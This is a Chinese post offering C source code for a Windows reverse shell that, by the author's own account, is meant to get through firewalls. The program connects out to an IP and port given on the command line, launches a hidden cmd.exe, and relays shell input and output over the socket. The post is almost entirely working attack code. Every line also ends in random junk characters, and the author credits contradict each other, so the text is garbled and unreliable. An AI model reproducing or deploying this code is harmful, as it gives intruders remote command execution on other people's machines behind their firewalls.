Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 v%e"4:K}?  
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/* ============================== L}pF
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Rebound port in Windows NT PbH]K$mj{"  
By wind,2006/7 n>+W]I&E  
===============================*/ [5:7WqB  
#include @wZ_VE7B  
#include S|h  m  

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#pragma comment(lib,"wsock32.lib") vu \Dx9  
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void OutputShell(); |#kf.kN  
SOCKET sClient; AiI# "  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~Q\ZDMTK  
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void main(int argc,char **argv) (ZSSp1Rv  
{ '0]_8Sy&  
WSADATA stWsaData; a8U2c;  
int nRet; 7ZnQ] ?  
SOCKADDR_IN stSaiClient,stSaiServer; a2FIFWvW  
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if(argc != 3) WU@,1.F:  
{ PiQs><FK8  
printf("Useage:\n\rRebound DestIP DestPort\n"); Nr+1N83S}  
return; |*a>6y  
} 6Ky"4\e  
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WSAStartup(MAKEWORD(2,2),&stWsaData); LA Vgf>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a'~y'6  
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stSaiClient.sin_family = AF_INET; Om~C0  
stSaiClient.sin_port = htons(0); ikiy>W8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A84HaRlkF5  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {q4"x5|  
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printf("Bind Socket Failed!\n"); >>xV-1h:  
return; #nhAW  
} ^;_b!7*  
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stSaiServer.sin_family = AF_INET; &|;!St]!M  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U#4W"1~iX  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %;J`dM  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wQ.zj`?$(  
{ Zt=X %M|aw  
printf("Connect Error!"); 9q{dRS[A  
return; )Me&xQTn  
} p}z0(lQ*~  
OutputShell(); 6w,xb&S  
} ITiw) M  
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void OutputShell() ?g.w%Mf*  
{ giq`L1<  
char szBuff[1024]; y~[So ,G  
SECURITY_ATTRIBUTES stSecurityAttributes; _m-r}9au   
OSVERSIONINFO stOsversionInfo; jT0fF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OR{"9)I  
STARTUPINFO stStartupInfo; M XQ7%G  
char *szShell;
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PROCESS_INFORMATION stProcessInformation; `,"Jc<R7Z  
unsigned long lBytesRead; 56dl;Z)  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w{IqzmPiH  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &x #5-O'  
stSecurityAttributes.lpSecurityDescriptor = 0; >?KyPp  
stSecurityAttributes.bInheritHandle = TRUE; KS_d5NvYl  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JTJ4a8DE  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CcQ|0  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'fsOKx4Z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E~Nr4vq  
stStartupInfo.wShowWindow = SW_HIDE; g!uhy}  
stStartupInfo.hStdInput = hReadPipe; +`FY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (PF (,B  
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GetVersionEx(&stOsversionInfo); ,\7okf7H,-  
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switch(stOsversionInfo.dwPlatformId) g9JtWgu  
{ tWuQKN`_  
case 1: qE[}Cf]X
 
szShell = "command.com"; $Izk]o;X~  
break; _De;SB%V  
default: hZy*E[i  
szShell = "cmd.exe"; = '[@UVH(Z  
break; 5KzU&!Zh9  
} kE}?"<l  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !;-x]_  
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send(sClient,szMsg,77,0); S"l&=J2dc  
while(1) teb(\% ,  
{  VM`."un]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f63q  
if(lBytesRead) KtE`L4tW6  
{ /~:ztv\$M"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3@PVUJ0B|  
send(sClient,szBuff,lBytesRead,0); Kt(p|  
} q$P"o].EK  
else _U %B1s3y  
{ @z.!Dby  
lBytesRead=recv(sClient,szBuff,1024,0); t{9Ph]e  
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s0CRrMk  
} .755-S  
} k?,g:[4!  
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return; 9w1)Mf}  
}